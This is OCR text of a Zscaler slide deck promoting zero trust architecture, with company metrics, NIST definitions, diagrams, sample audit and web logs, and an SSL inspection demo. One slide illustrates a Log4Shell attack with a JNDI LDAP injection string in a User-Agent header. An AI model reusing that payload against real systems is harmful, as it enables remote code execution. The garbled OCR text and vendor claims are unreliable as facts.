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Zscaler: The leader in secure digital transformation

Zscaler envisions a world in which
the exchange of information is
always seamless and secure.

Disrupting 30 years old networking and security architectures

Market Leader across all Verticals

50% international business. 40% of Fortune 500.

9 OTop" 10 ﬁ Household & Personal Products 8 Top- 10 E Banks & Diversified Financials®

8 et 10 é Chemicals s 10 a Healthcare Equipment & Services

OF THE

[OF 10 '5-5 Conglomerates 6 OTop" 10 A} Aerospace & Defense

@Zﬂfﬂﬁﬂr ! Experience your world, sacured.

Business Highlights

Nasdag-100 Index: ZS

$1B Annual Recurring Revenue, Cash Flow Positive

62% Year-over-year growth

>/ Net Promoter Score, Avg SaaS NPS: 30

Customer Value

80094 Faster user experience
35X Fewer infected machines Kgy

709% Infrastructure Cost reducton SIEMENS
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Defense Innovation Unit’s Secure Cloud

Top 10: Department Full Name

Management Prototypes Completed
With Success Memos »FEDERAL COMMUNICATIONS COMMISSION (3)

FSWMALL BUSINESS ADMINISTRATION (17)

»TREASURY, DEPARTMENT OF THE (8)
»JUSTICE, DEPARTMENT OF (8)
»HOMELAND SECURITY, DEPARTMENT OF (7)

D]SA\ Information Impact Levels »FEDERAL TRADE COMMISSION (6)

»STATE. DEPARTMENT OF (5)
- #ENERGY, DEPARTMENT OF (5)
»DEPT OF DEFENSE (4)

»LABOR, DEPARTMENT OF (4)
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Global Government Certifications

Global Commercial Certifications

About 2 search results for "zscalar"

Disruptive activity against Ukrainian organizations - update 1 - Canadian Centre for Cyber Security

SRTDC (™ (™

I Canadian Centre for Cyber Security

https://www.cyber.gc.ca/en/alerts/disruptive-activity-against-ukrainian-organizations

Feb 25, 2022 ... surrounding the disruption and provided hashes for both Symantec and SentinelLabs reports Footnote 2.
Zscalar published an in-depth article that provides a technical analysis of actor infrastructure, HermeticWiper, and other
related malware Footnote 3. Zscalar also provides details, including indicators of compromise, regarding targeted
campaigns against

Disruptive activity against Ukrainian organizations - update 1 - Canadian Centre for Cyber Security

I Canadian Centre for Cyber Security
https://www.cyber.gc.ca/en/alerts-advisories/disruptive-activity-against-ukrainian-organizations

Feb 25, 2022 ... surrounding the disruption and provided hashes for both Symantec and SentinelLabs reports Footnote 2.
Zscalar published an in-depth article that provides a technical analysis of actor infrastructure, HermeticWiper, and other
related malware Footnote 3. Zscalar also provides details, including indicators of compromise, regarding targeted
campaigns against
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ZPA Active User Count — Past 12 Months

Growth rate accelerating still today...

World going into lockdown —
1200% growth in 1 business day

Millions of users starting base

A




Zscaler transactions/day

Number of Google searches/day

Number of YT videos watched,/day

Facebook users/day

Twitter

Number of transactions/day

. 8,000,000,000
I 5,000,000,000

I 2,000,000,000

‘ 500,000,000




Basic Separation Through Networking

Spoiler Alert: Separation through
networking doesn’t work

_ I ———
Separation based on VLAN or subnet
No authentication or restrictions

No internal security capability

Restrictions easily bypassed

©2022 Zscaler, Inc. All rights reserved. ZSCALER CONFIDENTIAL INFORMATION



Network Access Contyssinlfvmvatuglalnbmmmme

The following properties are available for this network adapter. Click
the property you want to change on the left, and then select its value
on the nght.

Property:

Authenticatec

802.1X |
Interrupt Moderation Rate
Network Gave 2[=IA"e]gd] |!Pv4 Checksum Offioad
Jumbo Packet
Access Large Send Offload V2 (IPv4) ® Not Present
Control Driven by WL Large Send Offioad V2 (IP

Locall Admlmstered Address
Log Link State Event
Packet Priority & VLAN

Protocol ARP Offload
Protocol NS Offload

PTP Hardware Timestamp
Receive Buffers

& unicast
1: mulicast

I 1: locally administered

Segmentation network, you would have done it by now

'@M' ©2022 Zscaler, Inc. All rights reserved. ZSCALER CONFIDENTIAL INFORMATION



Zero Trust Was Born — Evolution of NAC

Let’s not do perimeters anymore

It’s not working

©2022 Zscaler, Inc. All rights reserved. ZSCALER CONFIDENTIAL INFORMATION



From One Perimeter... to Thousands!
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Zero Trust Was Born — Evolution of NAC

2004

Moved auth and security inline
Segmentation of sessions
Moved the perimeter to inside the network

Still focused on network access

@M' ©2022 Zscaler, Inc. All rights reserved. ZSCALER CONFIDENTIAL INFORMATION



The US Government Mandates Zero Trust

2004 2014 2020 2022

2001 2010 2019 2021
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Gartner Perspective: NIST Perspective:

Zero trust is a security paradigm that _
replaces implicit trust with continuously Zero trust IS a cybersecurity paradigm focused

assessed explicit risk/trust levels based on : :
P QoL frust IS never
cont
infrastru
; evaluated .

ory https://www.techtarget.com » whatis » feature » History-a...

History and Evolution of Zero Trust Security - TechTarget
Jun 16, 2021 — In 2010, John Kindervag, an analyst at Forrester Research, coined the term
"zero trust,” which centered around the idea that an organization ...

Never T TS e
default. Every device, user, applicati_on, un\;uthorized access ... enfol;cement as
workloao!, a e Celie flow are authenticated granular as possible. Zero trust presents a
an.d. explicitly quthorlz_ed using least _ shift from a location-centric model to a more
illIEE: m_ultlple_ "?‘“”b“tes’ S8 @R data-centric approach for fine-grained
cybersecurity policies security controls between users, systems,

data and assets that change over time

© 2022 Zscaler, Inc. All rigl 5 rec a7y 20y
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There is no such thing
as a ZERO Trust. Blast
radius containment is

what's important

If you're reachable
You are breachable

You can’t achieve ZT at

the network layer.
ILS matters

Scalability matters
Hyper cloud matters

AP| matters

Google: 5-8 Billion queries day 5 Su p r | S | n g FaCtS DISCOVERY IS KEY
ZS: 250 Billion per day A b Oou t Ze 'O Tr U St Before you roll out

Zero Trust, shouldn’t
you know who and
what you're going to
trust?

25X more than Google

TIC 3.0 compliance



Zero Trust Architecture According to NIST

TERMINATE VERIFY BROKER

Decrypt the traffic Identify the user + Access level based
on policy

Inspect the data Identify the data
+ Direct to the

Identify the source : resource
CONTEXT y Identify threats ———

Determine the Compare identity
destination & context to
defined policy

@makr ! Experience your world, sacured. © 2022 Zscaler, Inc. All rigl s ras ary 2



Architecture Matters

NGFW in Public Cloud Zscaler
25 Compute DCs 150 Compute DCs

COMPUTE
IPSec VPN termination @ DESTINATIONS DESTINATIONS
Policy enforcement

Virtual Firewall r ’

ACCESS

I}
EDGE . .
fl
@ @

ing Wi I l COMPUTE
P th
Iezzrihngjq ;:,olps (9 (9 (; Policy enforcement

~7 Front Doors
Per Compute DC
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Managed by others Managed by you

Data Center
Factory laaS/PaaS

App Connectors

SaaS Internet
A

Outside-in Connections Inside-out Connections

v
Connection Initiated

Enforce Policy
Per Session Decision and Enforcement

Allow, Block, Caution, Isolate, Prioritize, Deceive

Control Risk
Inspect Traffic (Malware, Data Loss)
Adaptive Control: Continuous Risk Assessment

Verify Identity and Context
Who, What, Where, more

Connection Terminated to Zero Trust Exchange
A A

Multi-tenant Architecture, 150 DCs
Access over any network

=i

User + Device | Workload | loT/OT

17

IF ==

YOU'RE
REACHABLE

Minimize Attack Surface ) 4
No inbound connections, Apps Invisible

. Prevent Lateral Movement x

Connect to apps, not networks

. Prevent Compromise and Data Loss
Proxy Architecture, SSL/TLS Inspection

You can’t do Zero Trust
Security using networks,
packets, firewalls and VPN

Firewalls/VPN

Attack Surface
Apps and infrastructure are
discoverable from the Internet

|
Network Access

Connect to corporate network
for application access

Passthrough Architecture
Limited ability to inspect encrypted traffic

[
o =

User + Device | Workload | loT/OT

5> zscaler



Why hub-n-spoke network and castle-n-moat security create issues

1 They find you Everything exposed to the internet is your attack surface

I ==

YOU'RE
REACHABLE

YOU'RE
BREACHABLE

2 They compromise you
Infect users, devices and apps

,our data

Encrypted data evades firewall detection

Data Center

3 They move laterally Find high-value targets for ransomware or other attacks




Why hub-n-spoke network and castle-n-moat security create issues

2 They compr
Infect users, de
:h.'.
¢
|

1 They find you Everything exposed to the internet is your attack surface

detection

Extend the network to remote

Branch offices, users and public cloud Factory

Data Center

3 They move laterally Find high-value targets for ransomware or other attacks




Networks Can't Do ZT




Networks Can't Do ZT

Host: YourDone.com 1
User-Agent: ${jndi:ldap://b lbm d-srv.com/fubar}

21



With ZT: |Interectinn Nnnanrtiinitiac ‘

AEROSPACE AND DEFENSE OCTOBER 11, 2017 / 8:0<2 PM / UPDATED &5 YEARS AGO

" Joint Strike Fighter plans stolen in Australia cyber
* BbIC
.+ Citi NIST Perspective:

e B2
e Ho Zero trustis a cybersecurity paradigm focused  ixs joint

e HO on resource protection and the premise that trust is never j“‘
° |_ day.

granted implicitly but must be continually evaluated.

Tﬁll'._:]l.:ll. S LUTPOUNdre 11IiwWoOTR DY COMTPTWUIT IS 4 innud-pdi Ly verniaoln, tne riuarmioed

of vendors targeted | 2ok one. That happened to

refrigeration contractor.

be Fazio Mechanical,
22



Platforms eliminate point solutions and allow for vendor consolidation

SaaS Data Center / Factory Cloud Providers
aR365 now @ zoom FTY vmware A Aue WS €Y

API-Scanning

CSPM,CIEM, laC
(CNAPP)

API-Scanning
CASB, SSPM

Identity Management «- ap| --» Zero Trust Exchange - APl --» Operations

Inline Policy Enforcement

splunk>  Azure Sentine
now HIHashiCorp

o= ADFS  okta

Azure Active Directory  @SailPeint

API A API

l A A l
Endpoint Security / Management Branch Router / SD-WAN
%\CHOWDSTRIKE Windows Defender ATP aruvba llclllslélc:l vmware:
il sentinelcr=  Microsoft Endpoint Manager Asiverpeac & viptela  veldcioud”

Microsoft Integrations




Zero Trust Security: Cyber Threat Protection

Comprehensive approach to cyber threat protection

Prevent Compromise Prevent Lateral Movement

Block threats before

Make apps invisible Deceive, Detect, and User to app App to App
they reach users to the internet Prevent Threat Actors Segmentation Segmentation
Internet Public Data Public Data
o ¥ & Cloud Center Cloud Center

@

" mmt
7 = ,
[ |
ZERO TRUST ZERO TRUST
EXCHANGE EXCHANGE
ZERO TRUST
EXCHANGE

T ~Public Cloud
<

y ) Data
Public Center
Cloud

» =

Protects users, servers,

ZERO TRUST ZERO TRUST
EXCHANGE EXCHANGE

Data Center

[ u —1

O Qs

Can’t attack what Can’t attack what isn’t Connects users to Connects apps to apps or processes
apps, loT, OT systems you can’t see real apps, not networks to processes over any network

Cyber Threat Protection
Zero Passthrough Connections
&> zscaler HALFTIME |FY22

Zero Attack surface Zero Lateral Movement
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BEEN THERE T How to avoid
DONE THAT Tl Audit Jail

4 --n ~
i!!

?

,4 AUTOMATE
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AUDIT- User Activity

{"LogTimestamp": "Fri May 31 17:35:42 2019","Customer": "ANZ Team/zdemo in beta","SessionID": "SqyZIMkgOJTj7ERBS
VvwA", "ConnectionID": "SqgyZIMkgOJT]7EABSVWA, Q+E]jXGdrvbF21PiBbedm", "InternalReason": "","ConnectionStatus": "activ
e","IPProtocol": &,"DoubleEncryption”: 0,"Username™: "ZPA LSS Client","ServicePort™: 10011, "ClientPublicIP": "3
4,209.189.218","ClientPrivateIP”: "","ClientLatitude": 45.000000,"ClientlLongitude™: -119.000000,"ClientCountryCo
de": "US","ClientZEN": "brokerlb.pdx2","Policy": "ANZ Lab Apps 1", "Connector": "ZDEMC ANZ Lab-1", "ConnectorzZgN":
"brokerlb.pdx2", "ConnectorIP": "192.168.1.53","ConnectorPort"™: 60266, "Host": "192.168.1.57","Application": "ANZ
Lab RApps", "AppGroup": "ANZ Lab Apps","Server": "0","ServerIP": "192.168.1.57","ServerPort”: 10011, "PolicyProcess
ingTime": 28, "CAProcessingTime": 1330, "ConnectorZENSetupTime": 191017, "ConnectionSetupTime": 192397, "ServerSetup
Time": 465, "AppLearnTime": 0, "TimestampConnectionStart": "2019-05-30T08:20:42.230&", "TimestampConnectionkEnd"”:

"t "TimestampCATX™: "2019-05-30T08:20:42.230Z", "TimestampCARX": "2019-05-30T08:20:42,2312Z", "TimestamphipplearnSta
rt": "","TimestampZENFirstRxClient"™: "2019-05-30T08:20:42.4247", "TimestampZENFirstTxClient”: "","TimestampZENLas
tRxClient": "2019-05-31T17:34:27.348%", "TimestampZENLastTxClient": "","TimestampConnectorZENSetupComplete™: "201
9-05-30T08:20:42.42272", "TimestampZENFirstRxConnector": "","TimestampZENFirstTxConnector™: "2019-05-30T08:20:42.4
247", "TimestampZENLastRxConnector”: "","TimestampZENLastTxConnector™: "2019-05-31T17:34:27.3482Z", "ZENTotalBytesR
xClient": 2406926, "ZENBytesExClient": 7115, "ZENTotalBytesTxClient": 0,"ZENBytesTxClient": 0,"ZENTotalBytesRxConn
ector": 0,"zZENBytesRxConnector": 0,"ZENTotalBytesTxConnector": 2406926, "ZENBytesTxConnector": 7115, "Idp": "Examp
le IDP Config"}

©2021 Zscaler, Inc. All rights reserved. ZSCALER CONFIDENTIAL INFORMATION
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AUDIT- User Activity

Administrators  Roles Audit Logs Acceptable Use Policy  Client Sessions

TIME RANGE ADMIN ID CLIENT ID AUDIT LOG TYPE
Jul 23, 2022 EST - Jan 23, 2023 EST - All - All - All v
ACTION RESOURCE TYPE RESOURCE NAME REQUEST ID
All - All -
None None
Update
Timestamp ~ Admin ID Client ID Action Resource Type Resource Name Request ID
Jan 18th, 2023, 23:43:08 (... hansang@frogeyes.org Sign Out Authentication - 3cf03aed-76a2-481b-... (O
MNov 28th, 2022, 00:26:25 ...  hansang@frogeyes.org Session Time Out Authentication - c147fbce-f248-4ebe-... (D

28  ©2021 Zscaler, Inc. All rights reserved. ZSCALER CONFIDENTIAL INFORMATION 625C3’3f



What happens when you inspect SSL?

000
p01100011

After g

* General * General

Request URL: hitps://secure.eicar.orgeiza- con. 1ip Request URL: hitps://secure.eicar.org/eicar_com.zip
Request Method: GET
o Status Code: @ 208 0K (from disk cache)
Remote Address: 89.235.73.97:443

Referrer Policy: strict-origin-when-cross-origin

¥ Response Headers view source
= Accept-Ranges: bytes
St Content-Length: 184
& . Content-Type: applicationszip

Date: Mon, 12 Oct 2028 84:42:89 GMT
7 o/ ETag: "b5-5a966680891957"
Last-Modified: Wed, @1 Jul 2828 19:34:86 GMT

Server: Apache

s K\ * Request Headers view source
o y Referer: https://www.eicar.org/
sec-ch-ua: "Chromium";v="85", "\ "Not\M\A;Brand":;v="98", "Google Chroms";v="86"

sec-ch-ua-mobile: 7@
Upgrade-Insecure-Requests: 1
User-Agent: MozillasS.8 (Windows NT 18.8; Winéd; x64) ApplelebKit/537.36 (KHTM
" 4 5 L, like Gecko) Chrome/86.8.4248.75% Safaris537.36

Domain, URI Path, Reqg/Rep Headers, Reqg/Res Payloads



Sample Web Log (58 out of ~180

time=September 2,

2019 9:03:38 AM PDT
clientip=34.209.62.187 filetype=Binary

referrer=google.com 31F48876F.bin

url=securitytest.zsdem _ Executable

o.com/ba- clientextip=

demo/doc_2e10705522 34.209.62.187 md5=2e107055221d25
1d25bb7925¢cd031f488 . bb7925cd031f48876f
76f.bin serverip=

34.208.138.166 user=john.smith@safe

protocol=HTTPS march.com

forwardingmethod=

rxbytes=14322 IPsec Tunnel location=Head
_ Quarters
txbytes=376 urlclass=Business Use
dept=Sales
method=GET urls_.upercat:User— Engineering
Defined
respcode= reason=Malware

403 - Forbidden urlcat=Security Testing plock: malicious file

cloudappclass=
General Browsing

useragent=FireFox
3.0(Mozilla/5.0 (X11; U;
Linux i686; en-US;
rv:1.9.0.1)
Gecko/2008071615
Fedora/3.0.1-1.fc9
Firefox/3.0.1)

policyname=None

policytype=Malware

cloudapp=General  protection

Browsing

filename=doc 2E1070
55221D25BB7925CD0

possible fields)

serverssisessreuse= bwrule=
None No Bandwidth Control

srvcertvalidationtype bwclass=
=None General Surfing

srvcertvalidityperiod= zapptunnelver=No

Organization Validation _ _ _
deviceowner=johnsmit

h

sslinspected=Yes

clientsslcipher= srvwildcardcert=
AES256-GCM-SHA384 -3 months

deviceostype=MAC

clienttlsversion= oS

TLS 1.2

srvselfs=No
dlpid=123 deviceosversion=Vers

ion 10.14.2 (Build
dlpmd5=2e107055221 18C54)

d25bb7925cd031f4887
serverssicipher=None gf

clientsslsessreuse=
No

devicemodel=

. MacBookPro12,1
serversslversion=

None

dlpengine=None
deviceappversion=

_ dipdictionaries=None 2 0 0.120
servercertchainvalpa

ss=Pass throttledrespbytes=0

serverocspresult=No throttledregbytes=0
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Now What?




Zero Trust: Eliminating All Doors

Hansang Bae
Zscaler Chief Technologist
Public Sector
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